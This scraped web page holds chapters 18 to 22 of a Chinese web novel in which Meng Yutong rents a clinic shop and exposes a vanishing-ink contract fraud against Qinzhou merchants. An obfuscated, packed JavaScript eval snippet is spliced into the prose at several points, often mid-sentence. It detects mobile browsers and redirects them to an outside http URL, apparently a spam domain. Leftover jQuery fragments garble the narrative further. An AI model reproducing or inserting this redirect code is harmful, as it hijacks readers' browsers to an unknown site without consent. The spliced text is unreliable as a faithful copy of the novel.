18. 第 18 章 马车辚辚，自通江桥孟府驶出，车轮碾过御街平整的青石板，最终停在了御街中段、赫赫有名的“和乐楼”旁侧。 早已候在路边的孙胜，一见桂嬷嬷探出身，脸上立刻堆起一团热情的笑意，快步迎上，与桂嬷嬷一左一右，稳稳地搀扶着孟玉桐步下马车。 孙胜此人，约莫四十上下，身形精瘦利落，穿着一身洗得发白的靛蓝细布短褐，足蹬千层底布鞋，打扮得干净利索。 他一张瘦长的脸，一双细长的眼睛总是微微眯着，眼珠转动间透着精光，嘴角天然带着笑纹，一看便是八面玲珑、心思活络的市井能人。 “孟姑娘安好！”孙胜拱手一礼，目光在孟玉桐身上快速扫过，带着职业性的探究，“姑娘这是……替府上哪位爷们儿来看铺面？” 他见孟玉桐年轻女子打扮，惯性地以为她是代家中男丁出面。 孟玉桐微微摇头，声音清晰平静：“不，是替我自己看。” 孙胜眼中讶异之色一闪而逝，随即恢复如常，笑容不变，仿佛只是听到一件寻常小事：“姑娘好魄力！这边请，小的先带您瞧瞧这头一间。” 他引着众人走向和乐楼旁一间略显冷清的铺面，“这铺子原先是家文玩铺子，名唤‘墨韵斋’。您瞧这门脸儿，地段是顶顶好的！可惜啊……” 他压低声音，带着点惋惜，“开在这和乐楼边上，来来往往的贵人公子们，心思都在那酒宴笙歌、美人歌舞上，谁有闲情逸致来淘弄笔墨纸砚？这不，掌柜的撑了半年，实在撑不下去，只好关张走人了。” 孙胜最让人省心的，便是这份“拿钱办事，不问缘由”的聪明与分寸。 孟玉桐点点头，跟着孙胜往铺子里头走。 铺面不算小，四四方方，因空置不久，尚算干净。 靠墙还留着几排空落落的博古架，地上散落着些废弃的包装纸。 孙胜热情地指点着：“姑娘您看，这格局多敞亮！前后通透，稍加修缮，隔出诊室药房都绰绰有余！最关键的是这租金，”他伸出两根手指比划了一下，“地段如此金贵，一年才要五百八十两！当真是打着灯笼也难寻的实惠！” 恰在此时，隔壁和乐楼正值晚膳高峰，丝竹管弦之声、觥筹交错之音、歌姬婉转之调，夹杂着阵阵喝彩喧哗，如同潮水般毫无阻隔地涌进这空旷的铺面，震得人耳膜嗡嗡作响。 孟玉桐蹙了蹙眉，毫不避讳地点出：“孙先生，此地太过喧闹了。医馆需清净，病人需静养，这般嘈杂，如何能行？” 孙胜被这直白的点破弄得一愣，心知眼前这位姑娘不是好糊弄的主儿，立刻转换话头，笑容更盛：“姑娘明鉴！确是热闹了些。不过您想啊，这来往的都是什么人？非富即贵！医馆开在这儿，名头不消几日便能传遍临安城！到时候还愁没有生意上门吗？” 孟玉桐淡淡一笑，摇了摇头：“孙先生此言差矣。和乐楼的常客，家中自有相熟的名医供奉，出行亦有随行医官。他们岂会看得上一个初出茅庐、且是女子开设的小小医馆？” 孙胜闻言，猛地一拍大腿，由衷赞道：“哎哟！姑娘真是心思通透！是小的想岔了！此处不妥，咱们还有别处！姑娘请随我来！” 一行人沿着御街，自和乐楼一路向北，途经和丰楼，其间又看了四五家铺面。不是地段过于偏僻、人流稀少，便是铺面格局逼仄、难以改造，或是租金高得离谱、远超预算。直走到御街北段，靠近新安桥、下瓦子边缘处，才终于寻到一间合意的。 这铺面位置适中，既不过分喧闹，也不至于冷清。铺子坐北朝南，门脸宽敞，进深也足，原是间绸缎庄，搬走后格局未大动，只需稍作调整。最难得是租金公道，一年四百二十两。 孟玉桐里外仔细看过，又与孙胜就修缮细节略作商讨，心中已有了计较。她行事爽利，当即拍板：“就是这里了。”并爽快地付下定钱，约定三日后正式签契。 回程马车上，白芷兴奋得小脸通红，叽叽喳喳：“姑娘！咱们真的要开医馆了！感觉像做梦一样！姑娘，接下来咱们做什么？是不是要招学徒？要买好多好多药材？” “下一步啊……”孟玉桐故作沉吟，看着白芷凑过来的小脑袋和十足期待的眼，忍不住弯起手指，轻轻敲了敲她的额角，笑道：“下一步自然是先去祭一祭五脏庙了。忙活了大半日，你姑娘我可是饿得前胸贴后背了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137252|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白芷这才摸着脑袋反应过来，揉揉肚子：“哎呀！奴婢光顾着高兴，都把饿忘了！姑娘这一说，肚子真叫唤了！” 马车在一家叫“珍味楼”的食肆门口停稳，对面就是御街上顶有名的首饰铺子“八珍坊”。 三人上了二楼雅间，点了几样清淡的小菜和点心。 饭菜上桌，孟玉桐略吃了几口，便放下筷子，对桂嬷嬷和白芷说：“我差不多了，去对面八珍坊随便逛逛，你们慢慢吃。等会儿逛完了，我就回来寻你们。” 桂嬷嬷赶紧放下汤匙：“姑娘当心些，街上人多，早点回来。” 孟玉桐点点头，起身缓步下楼，穿过热闹的街面，走向那灯火通明的八珍坊。 此时天色已完全暗沉下来，御街两侧的店铺纷纷点起灯笼。 八珍坊是临安城首屈一指的首饰楼，门楣高悬数盏硕大的琉璃灯，映得门前亮如白昼。 橱窗里还装着用锡箔精心打光的灯牌，把里面摆着的那些珍珠宝贝映得流光溢彩，气派非凡。 店里这会儿客人不多，只有两个穿着体面绸衫的伙计，一左一右地靠在柜台边上，脸上没什么精神，瞧着有点懒洋洋的。 这八珍坊，是荣亲王府的产业，如今归王府那位世子爷李璟管着。 这位世子爷，在临安城是出了名的纨绔浪荡子。 家中虽为他在翰林医官院谋了个“掌药奉卿”的六品闲职，可他本人对药理医道一窍不通，纯粹是个靠着祖荫、尸位素餐的绣花枕头。 前世因着纪家与荣王府那点拐弯抹角的表亲关系，孟玉桐在宴会上与李璟打过几次照面。 两人互相瞧不上眼——李璟嫌她商户出身，孟玉桐鄙他不学无术。彼此间连寒暄都欠奉，拢共没说过三句整话。 而这一世，两人最近的一次交集，便是不久前在清风茶肆。李璟替纪昀打抱不平，曾当着一众公子哥儿的面，高声嗤笑。说纪昀与她这“商户女”结亲，简直是“亏大发了”！ 忆及此句，孟玉桐额角不由得跳了跳。脸上闪过一丝鄙夷，似这等口无遮拦、狂妄自大的纨绔，能做出那等哄骗外乡客商签下阴阳契书的龌龊勾当，倒也不足为奇。 19. 第 19 章 上一世，孟玉桐婚后去郊外巡视纪家的一处庄子，途中偶遇了一队形容狼狈的客商。 他们皆是秦州人士，正垂头丧气地沿着官道向西北踽踽而行，显是盘缠耗尽，黯然归乡。 她遣了白芷上前探问才知：这行人是来临安城售卖秦州特有的金玉首饰。原与八珍坊签了契据，言明借铺售卖一月，所得利润抽三成予八珍坊主事，充作赁金。 孰料，八珍坊的伙计竟欺他们人生地疏，谎称原契丢失，需重立新契。便是趁此机会，在那新契上偷梁换柱，将三成利改成了九成。 那领头的客商刘思钧，是个初出茅庐的秦州少年郎，涉世未深，被哄着落了款。待他们将带来的金玉首饰售卖一空，去分取利润时，方才惊觉中了圈套，血本无归，连返乡的盘缠都折了进去。 孟玉桐观其惨状，心下恻然，便做主将他们暂且安顿在自己巡视的那处庄子上。 这些秦州客商倒也知恩，帮着晾晒、分拣药材，以此赚取些微薄的归家之资。 也是这段时日，孟玉桐与那少年头领刘思钧熟识起来。刘思钧虽有时行事跳脱，不太着调，于药草一道却颇有几分天资与家学渊源。 两人常于药圃田埂间，或是庄头廊下，就着各类草药的性味归经、炮制之法，细细探讨，一来二去，倒成了交情。 临别之际，刘思钧为报收留之恩，将一行人进城途中，无意在临安城外一处山野发现的珍贵药脉所在，悉数告知了孟玉桐。 后来临终前，孟玉桐将这些记在纸上，让白芷交给了祖母…… “姑娘安好，想挑些时兴的首饰？”两个伙计一左一右殷勤围拢上来，招呼声一个赛一个的响亮热络，瞬间将孟玉桐从回忆中拽回。 她定了定神，眸光清亮，转向左边那个面色黝黑、宽额长眉，瞧着颇有几分耿直热忱气的伙计，启唇问道：“听闻贵店有上好的秦州玉饰？” 那伙计闻言，浓眉一扬，脸上顿时绽开热情洋溢的笑容，忙不迭地引着她向左首的柜台走去。 他手脚麻利地从紫檀木柜台中小心翼翼地取出一件件金玉首饰，口中不停介绍着：“姑娘您瞧，这都是秦州来的好货！您看这玉兰花簪，用的是上等的和田籽料，您戴上一定好看！” 崔大成语速快而朴实，带着一股子实在劲儿。 另一边的伙计阿昌见状，撇了撇嘴，眼底掠过一丝遮掩不住的酸意，悻悻地退回原位，身子斜倚着冰冷的柜台，眼神却死死胶着在对面的热闹上，暗自腹诽：自打那群秦州蛮子弄来这些劳什子，铺里的风头全叫他们抢尽了！这月例钱怕又要少得可怜！ 他正自怨自艾地呲着牙花子，八珍坊的掌柜郑辉背着手，踱着方步走了进来。 他那双精明的三角眼一扫，左边柜台前笑语喧阗，人影绰绰；右边自家柜台却门可罗雀，阿昌更是蔫头耷脑。 郑辉的脸色立时沉了下来，如同罩上了一层寒霜。他几步走到阿昌跟前，屈起指节，带着怒气在光亮的酸枝木柜台上重重叩了两下，声音压得低，却透着一股子刺骨的阴冷：“戳在这儿当门神呢？眼瞅着生意都教对过儿揽了去！你这差事是怎么当的？回头世子爷问起这月的流水，你让我拿什么交差？！” 阿昌被他吓得一哆嗦，脖子下意识地缩了缩，哭丧着脸，声音细若蚊蚋，带着十二分的委屈：“掌、掌柜的……这实在怪不得小的呀！ “前些日子，纪府那位公子在对过儿买了件顶好的秦州玉器给纪夫人贺寿，这秦州金玉的名声一下子就传开了。 “现下但凡进店的夫人小姐，都是直奔那头去的，眼神都不带往咱这边瞟一下的。 “小的就是浑身是嘴，也、也拉不住客呀……”他越说声音越低，头也越垂越低，恨不得钻进柜台底下去。 郑辉听着，腮帮子咬得死紧，袖中的拳头更是捏得咯咯作响，心头涌上一股浓烈的悔意。 当初贪图那三分利，允了那帮外乡人在此寄卖，哪曾想竟是引狼入室！如今倒好，自家的生意被生生挤兑得门庭冷落，这月的账目必定难看至极。 想到那位脾气乖戾、眼高于顶的东家世子见了账簿后的雷霆之怒，郑辉只觉得一股寒气从脚底板直冲天灵盖，脊背都沁出了冷汗。 不行！断不能坐以待毙！得想个法子，把这局面给扳回来…… 他焦躁地在原地踱了两步，鞋底摩擦着光洁的青砖地面，发出细微而刺耳的声响，眉头紧拧，眼中精光闪烁，显然在急速盘算着各种手段。 “掌柜的，对面那个刘公子不是日日都跟着在这看着的么？怎么今日不见他？” 阿昌见郑辉心焦气躁， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142271|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙沏了盏凉茶奉上，小心翼翼道：“掌柜的消消火。” 郑辉接过茶一饮而尽，随口道：“那位今日过生辰，约莫是和乐楼吃酒庆贺去了。” “生辰酒啊？”阿昌咂咂嘴，语气里透着酸溜溜的艳羡，“瞧他们那帮粗豪汉子，不喝个酩酊大醉怕是不会归。” 那群外乡人竟能上和乐楼摆酒，看来是真赚了！ 郑辉将空茶盏重重往酸枝木柜台上一顿，发出“铿”一声脆响。 阿昌吓得一哆嗦：“掌、掌柜的？” 郑辉眸底精光一闪，抬手便给了阿昌一个暴栗：“倒叫你点醒了爷！” 他一把扯过阿昌，俯身在其耳边急促低语数句，随即若无其事地直起身，冷声催促：“速去办妥！” “这……这怕是不妥吧？万一世子爷知晓……”阿昌缩着脖子，声音抖得不成调。怎么老让他干这些黑心事儿啊！ “啰嗦什么！叫你去便去！”郑辉面色一沉，拧住阿昌耳朵便是一拧。阿昌痛得龇牙咧嘴，连声告饶：“哎哟！掌柜饶命！小的这就去！这就去！” 对面孟玉桐与崔大成被这厢动静吸引，齐齐侧目望来。 郑辉立刻松手，朝孟玉桐挤出个尴尬笑容：“惊扰姑娘了，教训个不晓事的下人，您请自便，慢慢挑选。” 孟玉桐收回目光，随手点了崔大成方才介绍的玉簪：“劳烦包起来。” “那位是贵店掌柜？”孟玉桐接过锦盒，状似随意地问。 崔大成手脚麻利地包好簪子，咧嘴一笑，黝黑面庞衬得牙格外白亮：“是郑掌柜！掌柜的人好，肯让咱们这外乡人在八珍坊寄卖，敞亮！” 孟玉桐被那口白牙晃得微怔，心下暗叹：这般憨直，难怪前世被算计得那般凄惨。 她顺势追问：“怎不见你们主事？我手头有几件收来的秦州玉器，想请行家掌掌眼，辨个真伪。” “我家公子今日生辰，同大伙儿在和乐楼吃酒呢！”崔大成热心道，“姑娘若不急，明日携来可好？” 和乐楼？吃酒？孟玉桐心下一凛。她记得清楚，刘思钧酒量浅薄，离临安那日答谢宴上，不过三四盏下肚便已胡言乱语、脚步虚浮。 再联想方才郑辉与阿昌鬼祟低语、动手胁迫的场面……莫非前世哄骗补签阴阳契，正是今夜？！ 20. 第 20 章 孟玉桐强压心头惊涛，面上不露分毫，眼角飞快扫向对面，阿昌果然不见了，只剩郑辉还倚着门框，眼神不知道飘哪儿去了。 她立刻解下腰间的玉葫芦，用素帕紧紧裹住，声音里带上了一丝掩饰不住的急切和难过：“对不住，这事儿实在等不得。能不能麻烦小哥跑一趟和乐楼？等刘公子喝完酒回来，请他帮我看看这个？” 她垂下眼，声音微微发颤：“这是……我娘留下的。她也是秦州人，今儿……正好是她的忌日，我想带着它去坟上……” “哎哟，姑娘！”崔大成看她眼圈都红了，急得直搓手，一张黑脸膛涨得通红，“您别急！千万别急！您就在这儿等着，我这就去把公子找回来！” 话还没落地，他人已经从柜台后面窜了出来，冲着门口的郑辉胡乱喊了一句：“郑掌柜！劳您看顾一下！我去去就回！” 郑辉那边还没应声，崔大成已经像阵风似的卷出门去，跑没影了。 孟玉桐亦紧随其后，行过郑辉身侧时微微颔首，步履匆匆追着崔大成的背影而去。 “欸？崔大成！谁允你了？！”郑辉指着两人消失的方向，叉腰啐骂，“真真晦气！” 他眼底掠过一丝阴鸷，可别搅了他的好事！ 崔大成身形魁梧，性急如火，脚下虎虎生风。孟玉桐提着裙裾，紧追其后，颇有些吃力。 不多时，两人一前一后停在了和乐楼下。 三层飞檐斗拱，朱漆金字匾额高悬，门前车马喧嚣，跑堂伙计穿梭如织。 楼内丝竹管弦与喧哗劝酒声浪阵阵涌出，端的是临安城数一数二的热闹去处。 崔大成浑然不知孟玉桐跟在后头，在门口略一停顿，便大步流星闯入大堂，问明刘思钧所在雅间，蹬蹬蹬直上二楼。 二楼包厢内，此时正酒气熏天，劝酒声浪几乎掀翻屋顶。 刘思钧被众人簇拥在主位，正以手扶额，脑袋一点一点地往桌面上栽。 “少当家的，今儿可是您的寿星公，怎地这般不济事？”崔二成举杯大笑，声如洪钟。 “这才哪到哪？几杯黄汤就软了骨头？”梅三撇嘴，脸上嫌弃毫不掩饰。 刘思钧打了个响亮的酒嗝，强撑着摆手：“谁、谁醉了？容我……缓口气……” 就在此时，阿昌猫着腰，像条滑溜的泥鳅般钻到刘思钧身侧，手中攥着两张薄薄的契纸，声音干涩发紧：“刘公子，您行行好，抽空将这补签的契书落个款，小的也好回去……交差……” 他心跳如擂鼓，额角冷汗涔涔，湿透了鬓角。 刘思钧被酒气熏得头晕眼花，只想寻个清静，闻言不耐地挥挥手。 阿昌如蒙大赦，赶紧将契书递上。刘思钧虽醉，商人的本能犹在。 他推开面前狼藉的杯盘，就着雅间四角悬挂的明亮琉璃宫灯，眯起醉眼，一行行细细审阅。 嗯……白纸黑字，确与初签那份一般无二。 “你们郑掌柜……也太不当心了，”他含混嘟囔，“七日前才签的契，转眼就……寻不见了？” 刘思钧指尖捻平纸张，接过阿昌颤抖递上的狼毫笔，笔尖饱蘸墨汁，悬于契书落款处。 阿昌屏住呼吸，眼珠子死死钉在那墨色欲滴的笔尖上，喉结紧张地滚动——成了！马上就成了！ “掌柜的近日事忙，许是一时疏忽了，”阿昌的声音飘忽得几乎听不见，带着无法抑制的颤音。 刘思钧含糊应了一声，手腕微沉，笔尖堪堪触及纸面—— “哐当！”雅间门被一股大力猛然撞开！崔大成如一阵黑旋风卷入，三步并作两步冲到刘思钧面前，带起的风几乎掀翻阿昌。 刘思钧手一抖，墨点晕开一小团。 他醉眼朦胧，茫然抬眼：“怎……店里出事了不成？” 崔大成一屁股将惊魂未定的阿昌顶了个趔趄，急吼吼道：“少当家的！快随我回店里！有位姑娘带了要紧的玉器，非请您掌眼不可！” 阿昌好容易站稳，气急败坏：“崔大成！你发什么疯！这等小事也敢扰少当家酒兴？！” 正吵嚷间，一道明丽身影已随着敞开的门扉，步履从容地踏入这喧嚣之地，停在崔大成身侧，朝主位微微福身，声音清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149590|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠：“刘公子。” 崔大成见她也跟着来了，赶紧噼里啪啦地把孟玉桐那套“母亲遗物”、“秦州故旧”、“今日忌辰”的说辞又倒了一遍。 众人一听，都跟着叹气，纷纷放下酒杯茶盏，七嘴八舌地催促刘思钧：“少当家的，快帮帮这位姑娘吧！” 孟玉桐将那块素色帕子包着的东西递了过去。 刘思钧醉眼朦胧地掀开帕子一角，露出了里面那枚不起眼的玉葫芦。 他目光触及玉葫的刹那，醉态似乎消散了几分。 他慢慢抬起头，目光在孟玉桐那张明丽又沉静的脸上停留了好一会儿，才开口问道，声音比刚才沉了许多： “敢问姑娘芳名？” “孟玉桐。” “在下……”他顿了一下，声音低沉，带着几分郑重，“刘思钧。” 这异样的郑重与凝视落在周围那群粗豪汉子眼中，顿时变了味道。 “哟呵！少当家的，莫不是被这江南的美人儿勾了魂去？”崔二成挤眉弄眼，率先起哄。 “就是！瞧这眼都直了！也不怕吓着人家！”梅三也跟着拍桌大笑。 一时间，包厢内响起阵阵哄笑声，只道是自家少东家被这突然闯入的明艳佳人摄去了心魄。 阿昌听着二人互通姓名，心头擂鼓更急，硬生生从人缝里挤进半个脑袋，颤声催促：“刘公子，这契书您看是不是先抽空落个款？小的也好回去交差啊。” 孟玉桐扫过桌面的契书，在分利那几句停了停。 ‘所获利润按照叁成分给八珍坊’ 似乎是没什么问题…… 她心头仍有疑云，便不动声色地上前半步，一只手似不经意般往后轻按在桌面上。 指尖悄然勾起契书一角，借着宽大云袖的遮掩，神不知鬼不觉地将面上一张抽入袖中藏起。 众人皆瞧着刘思钧，无人察觉她的动作。 契书到手，孟玉桐抬眸，目光清凌凌地投向阿昌，语声平和笃定：“这位小哥，方才来时，仿佛见郑掌柜神色焦灼，正四处寻你，想是有万分火急之事。” 21. 第 21 章 阿昌对上那双黑白分明、不似作伪的眼眸，心头一虚，脚下便有些迟疑。 掌柜的莫不是反悔了？ 那他究竟还要不要再催着刘思钧签那契书呢？ 他思绪乱飞，人直愣愣杵在原地，不知该该走还是该留。 崔大成见状，一把抓起桌上那纸契书，胡乱塞进阿昌怀里：“什么了不得的契非得今儿签！没瞧见有更要紧的事？” 不由分说，连推带搡地将懵然的阿昌轰出了喧嚣的雅间。 阿昌怀里揣着烫手山芋般的契书，抬袖擦了擦满头的汗，终于惶惶然奔回了八珍坊。 雅间内，刘思钧指腹摩挲着那枚温润的玉葫芦。 玉葫在指尖轻转，翻转至底部时，显露出一道细微莫辨的旧磕痕。 刘思钧身形骤然一僵。 方才还弥漫周身的酒气仿佛瞬间被抽离，他猛地坐直脊背，醉意消散无踪。 那双因酒意而朦胧的眸子，此刻清明如常，紧紧锁住孟玉桐的面庞。 这磕痕——真的是她！ 他喉结滚动，强压下翻腾的心绪，将玉葫芦仔细裹回素帕，递还的动作带着前所未有的郑重：“孟姑娘，此玉确系秦州所出，温润如初。令慈泉下有知，当可告慰了。” 这玉自然是真的，孟玉桐看也未看，欠身接过，连声道谢。 交接间，她悄悄抖了抖手腕，袖中那张契书悄然滑落，无声飘至崔大成脚边。 “少当家，阿昌落了东西。”崔大成弯腰捡起，随手丢回桌面。 刘思钧的目光却仍胶着在孟玉桐身上，探究之意更深。 孟玉桐仿佛未觉，从容地将玉葫系回腰间，动作间，视线似是不经意地扫过桌上契书，黛眉微蹙，轻“咦”一声：“这契书上分利一项，为何字迹空缺？” “空缺？”崔大成不识字，闻言立刻抓起契书递给刘思钧，自己也凑着脑袋过去看。 刘思钧凝目看去，只见关键处赫然一片空白：“柳家商队在八珍坊寄卖玉器期间，所获利润按照成分给八珍坊。” “方才阿昌递予我时，此处分明是‘叁’字！”刘思钧一把夺过契书，仔细又看了一遍，最终拍案而起。 他惊怒交加，背后瞬间沁出一层冷汗——好险！若非崔大成及时闯入…… 崔大成瞪大了眼，“为何这上头的字会凭空消失呢？” “是‘墨斗汁’，”孟玉桐清冷的声音如碎玉投湖，点破迷障，“此墨初写如常，遇光遇热，不过一时三刻，字迹便自行消褪，不留痕迹。” 她抬手在原先放契书的桌面空处点了点，继续道：“此处放了热汤，桌面是热的，契纸在这上头搁了一会儿，上头的字遇热便散了。” 跟在祖母身边这许多年，一些生意场上的腌臜手段她早已耳熟能详。 一石激起千层浪。 “直娘贼！这是要玩‘墨褪无踪、白纸填字’的把戏啊！”梅三双目赤红，暴喝出声，“若真签了，回头他们大笔一挥填个‘拾’字，咱们兄弟岂不连裤衩都要赔光？！” 满屋血气方刚的汉子顿时炸开了锅，撸袖拍桌，叫嚷着要去砸了八珍坊。 “都消停点！”刘思钧一声断喝，压下沸腾的怒意。 他此刻渐渐冷静下来：“无凭无据，贸然上门，对方岂会认账？反咬我们诬赖也未可知！” 孟玉桐赞同点头，“刘公子，你们人在屋檐下，扯破脸皮或许能逞一时之快，可八珍坊的是荣亲王的产业，必不会让你们一行外乡人讨到好处。为今之计，不如先保全自身，早日抽身，再谋后路。” “难道就这般忍了？！”梅三气得一脚踹翻了矮凳。 “非是忍气，”刘思钧目光转向孟玉桐，隐含感激，“孟姑娘所言极是。八珍坊背靠荣亲王府，树大根深。我等外乡行商，若逞一时意气，无异以卵击石。当务之急，是全身而退，再谋后策。” 他郑重抱拳：“今日大恩，刘某铭感五内，他日必当亲自登门拜谢。此刻夜色已深，姑娘不宜久留。” 旋即果断下令：“崔大成，务必护孟姑娘周全回府。崔二成、梅三，你二人随我回八珍坊周旋。其余人，速回客栈整装待命，不得妄动。” 刘思钧年纪虽轻，但危急关头分得清是非紧要，也颇有魄力，一行人在他的安排下不再有异议。 孟玉桐见风波已定，契书之危暂解，便敛衽一礼与众人告别，与崔大成一前一后出了和乐楼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157789|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回去路上，孟玉桐步履渐急。 白芷与桂嬷嬷久候她不至，恐怕此时已心急如焚。她得快些回去，免得两人担心。 崔大成紧随其后，犹自沉浸在方才的惊险中，心有余悸，脚步亦快：“那姓郑的，平日装得人五人六，背地里竟使这等下作手段！真真可恨！” 孟玉桐温言提醒：“人心叵测，你们初来乍到，万事该留个心眼，更需处处谨慎，不要轻易相信他人才是。” “姑娘说的是！”崔大成拍着大腿，黝黑脸上满是愤慨，“咱们秦州地界，商旅往来最重信义，何曾见过这般腌臜！待这批货出手，我定要劝少东家早日离了这是非之地！” “秦州距此千里迢迢，”孟玉桐随意问道，“何以远涉至此行商？”她忆起前世刘思钧那套“历练”的说辞，总觉牵强。 上一世他们一行人在纪家分明攒够了回去的路费，却还多逗留了数月，像是有什么事未办一样。 崔大成对孟玉桐全无防备，这位长相漂亮又心善的姑娘今夜可是大家伙的救命恩人，遂脱口道：“做生意是顺带，少当家此来，主要是为寻一位故人。具体寻谁……我也不甚清楚。” 寻人？孟玉桐眸光微闪，前世倒未曾听闻。 不过此乃刘思钧的私事，说来与她没什么干系。今夜出手，已全了前世之谊。柳氏商队日后如何，非她所能左右。 她自有她的事情要做。 二人沿御街北行，崔大成絮叨着秦州风物，孟玉桐偶尔含笑应和。 转过南瓦子，珍味楼的灯火遥遥在望，相距不过半里。 孟玉桐抬眸，目光倏然定住。 街角灯笼暖光下，一人长身玉立，紫棠色云锦常服衬得身姿如修竹，腰间玉带螭纹隐现，通身清贵之气仿佛将喧嚣街市隔开，自成一方静谧天地。 正是纪昀。 连素来憨直，自诩不以貌取人的崔大成，此刻也看得呆住，只觉此人如画中谪仙，气质斐然，不似凡尘。 而孟玉桐唇畔那抹温软笑意，却在看清来人的刹那，寸寸敛去，只余下一片沉静的疏离。 变脸之快，判若两人。 迟钝如崔大成，也觉出周遭空气瞬间凝滞。 22. 第 22 章 崔大成皱眉，孟小姐那反应，像是碰到仇人了…… 他不安地望望两人，终是转向孟玉桐，小心翼翼问道：“孟姑娘，您认得那位公子？” 孟玉桐微微颔首，夜风拂过她鬓边的碎发，“崔大哥留步，我的丫鬟嬷嬷就在前头候着了。” 崔大成闻言，也不再多问，只憨厚地抱拳一揖，便迈开大步，急匆匆地朝着八珍坊方向去了，那壮实的身影很快便融入熙攘的人流。 她刚欲转身，一道清冷的声音自身侧响起，有人淡声喊她：“孟姑娘。” 孟玉桐心头微凛，面上未露分毫。 这两日她让白芷暗中留意祖母的动向，知晓祖母正为旁的事务所扰，尚未腾出手来料理纪家这门亲事。 眼前这人，此刻仍是她名分上的“未婚夫婿”。 她旋身，唇角勾起浅笑，盈盈施了一礼，“纪公子安好，公子怎在此处？” 纪昀站在渐次稀疏的灯火下，站得笔直，一身紫袍在光影里衬得他面容清俊，却也带着几分疏离的冷意。 他没接她的话头，只是平静地陈述：“纪家在御街中段，通和坊右转，宁海巷最深处。” 他的目光平静，只是在陈述一个再寻常不过的事实。 孟玉桐眼睫几不可见地动了一下，只觉得这话来得有些没头没脑，“公子说笑了，玉桐自然知晓。” 纪昀的声音依旧没什么起伏：“从翰林医官院回纪家，此处是必经之路。” 孟玉桐心头微微一跳。 他此言何意？是在说她明知故问？还是没话找话？ 总之听着很不舒服。 “孟姑娘深夜流连于此，所为何事？”纪昀的视线越过道旁琉璃风灯投下的幢幢光影，直直落在她脸上，似乎要将她里外看个通透，“孟府的方向，似乎与此相悖。” 孟玉桐心口紧了紧，暗恼这人管得太宽，面上却依旧展露着得体笑容，语气轻描淡写，“我同丫鬟随意逛逛，不甚走散了，正要回去寻她们。” 纪昀没再说话，静了一瞬，忽然走近两步，站到了她身侧。一股清冽的、如同冬日松林覆雪般的气息，无声地漫了过来。 “更深露重，人潮喧杂，”他声音低沉，“纪某送姑娘一程。” 孟玉桐下意识便要婉拒：“不敢劳烦公子，珍味楼就在眼前，几步之遥……” 然而话音未落，纪昀已提步向前，步履沉稳，只淡淡回了两字：“顺路。” 两人便这般默然前行。纪昀步履从容，却快她半个身子。 孟玉桐索性放慢了步子，刻意落后。 起初只是半步之遥，渐渐拉开至一步、两步……最终，两人之间隔着足有丈余的距离，倒不像是同路之人。 前方那道颀长的身影倏然顿住。 纪昀侧身回望，清冷的月光与暖融的灯火交织在他轮廓分明的侧脸上，投下深邃的阴影。 他静静凝视着落在后方的孟玉桐，那张一贯没什么表情、冷冰冰似玉像的脸上，竟罕见地掠过一丝极淡的困惑：“孟姑娘，为何离得这般远？” 他顿了顿，声音里听不出情绪，“可是纪某身上有何不妥，令姑娘避之不及？” 孟玉桐脚步微滞，没料到他会那般直白地问出来，只得稍稍加快步伐跟上，脸上表情有些僵硬，敷衍道：“夜深人静，孤男寡女同行于闹市，恐污了公子清誉，惹人闲话。” 此时正值夜市最喧闹的时辰，摩肩接踵，人流如织。 迎面而来的行人络绎不绝，推搡拥挤间，走在街道外侧的孟玉桐接连被撞了几下。 纪昀往外走了一步，将孟玉桐隔进了里侧。 他并未看她，视线平视前方灯火阑珊处，“孟姑娘方才与八珍坊的伙计在一处时，瞧着有说有笑，倒是没有这男女大防的顾虑。如此说来，还要多谢姑娘替纪某考虑。” 这一句冷不丁将孟玉桐噎得脚步一顿。 她索性抿紧了唇，不再接话，只微微偏过头，漫不经心地瞧着路边摊子上的各色小玩意儿。 街道两侧，摊贩吆喝声此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 